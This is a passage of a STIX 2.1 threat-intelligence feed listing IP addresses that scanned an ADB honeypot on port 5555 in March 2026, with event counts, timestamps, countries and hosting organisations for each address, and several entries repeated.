      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:00:04.000Z",
      "valid_until": "2026-04-17T06:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-16T05:32:29.000Z",
          "last_seen": "2026-03-16T05:43:56.652Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T05:15:46.000Z | last_seen=2026-03-16T05:16:51.220Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--285529bf-4b65-47c5-9874-7dc2d0a241a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.3.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:00:05.000Z",
      "valid_until": "2026-04-17T06:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T05:15:46.000Z",
          "last_seen": "2026-03-16T05:16:51.220Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-16T05:32:29.000Z | last_seen=2026-03-16T05:43:56.652Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:00:05.000Z",
      "valid_until": "2026-04-17T06:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-16T05:32:29.000Z",
          "last_seen": "2026-03-16T05:43:56.652Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-16T06:07:36.000Z | last_seen=2026-03-18T14:39:48.766Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:04.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-16T06:07:36.000Z",
          "last_seen": "2026-03-18T14:39:48.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-16T06:10:49.000Z | last_seen=2026-03-16T06:21:00.230Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:04.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-16T06:10:49.000Z",
          "last_seen": "2026-03-16T06:21:00.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T06:09:58.000Z | last_seen=2026-03-16T06:10:59.056Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:04.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T06:09:58.000Z",
          "last_seen": "2026-03-16T06:10:59.056Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-16T06:07:36.000Z | last_seen=2026-03-18T14:39:48.766Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:05.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-16T06:07:36.000Z",
          "last_seen": "2026-03-18T14:39:48.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-16T06:10:49.000Z | last_seen=2026-03-16T06:21:00.230Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:05.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-16T06:10:49.000Z",
          "last_seen": "2026-03-16T06:21:00.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T06:09:58.000Z | last_seen=2026-03-16T06:10:59.056Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:00:05.000Z",
      "valid_until": "2026-04-17T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T06:09:58.000Z",
          "last_seen": "2026-03-16T06:10:59.056Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-16T07:32:51.000Z | last_seen=2026-03-16T07:34:10.772Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--098a35e3-6be4-4b52-b7ad-6974e1ce1f06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:00:02.000Z",
      "valid_until": "2026-04-17T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-16T07:32:51.000Z",
          "last_seen": "2026-03-16T07:34:10.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-16T07:32:51.000Z | last_seen=2026-03-16T07:34:10.772Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--098a35e3-6be4-4b52-b7ad-6974e1ce1f06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:00:03.000Z",
      "valid_until": "2026-04-17T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-16T07:32:51.000Z",
          "last_seen": "2026-03-16T07:34:10.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=33 | first_seen=2026-03-16T08:56:11.000Z | last_seen=2026-03-24T18:38:47.186Z | ports=5555 | cc=NL | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--1c1f6392-9f4d-4cd6-b996-f0617f154ddc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '89.42.231.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:00:02.000Z",
      "valid_until": "2026-04-17T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 33,
          "first_seen": "2026-03-16T08:56:11.000Z",
          "last_seen": "2026-03-24T18:38:47.186Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-16T10:24:04.000Z | last_seen=2026-03-16T10:30:15.302Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--4f010ccb-917e-4d42-acb4-bded6d83fd2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.58.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:00:03.000Z",
      "valid_until": "2026-04-17T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-16T10:24:04.000Z",
          "last_seen": "2026-03-16T10:30:15.302Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-16T10:24:04.000Z | last_seen=2026-03-16T10:30:15.302Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--4f010ccb-917e-4d42-acb4-bded6d83fd2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.58.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T11:00:03.000Z",
      "valid_until": "2026-04-17T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-16T10:24:04.000Z",
          "last_seen": "2026-03-16T10:30:15.302Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-16T11:27:15.000Z | last_seen=2026-03-16T11:37:24.478Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--93565b86-92b0-492b-ae42-d95a1020572a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '60.29.128.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T12:00:02.000Z",
      "valid_until": "2026-04-17T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-16T11:27:15.000Z",
          "last_seen": "2026-03-16T11:37:24.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-16T11:27:15.000Z | last_seen=2026-03-16T11:37:24.478Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--93565b86-92b0-492b-ae42-d95a1020572a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '60.29.128.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T12:00:03.000Z",
      "valid_until": "2026-04-17T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-16T11:27:15.000Z",
          "last_seen": "2026-03-16T11:37:24.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-16T12:03:38.000Z | last_seen=2026-03-16T12:04:43.766Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.255.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:00:03.000Z",
      "valid_until": "2026-04-17T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-16T12:03:38.000Z",
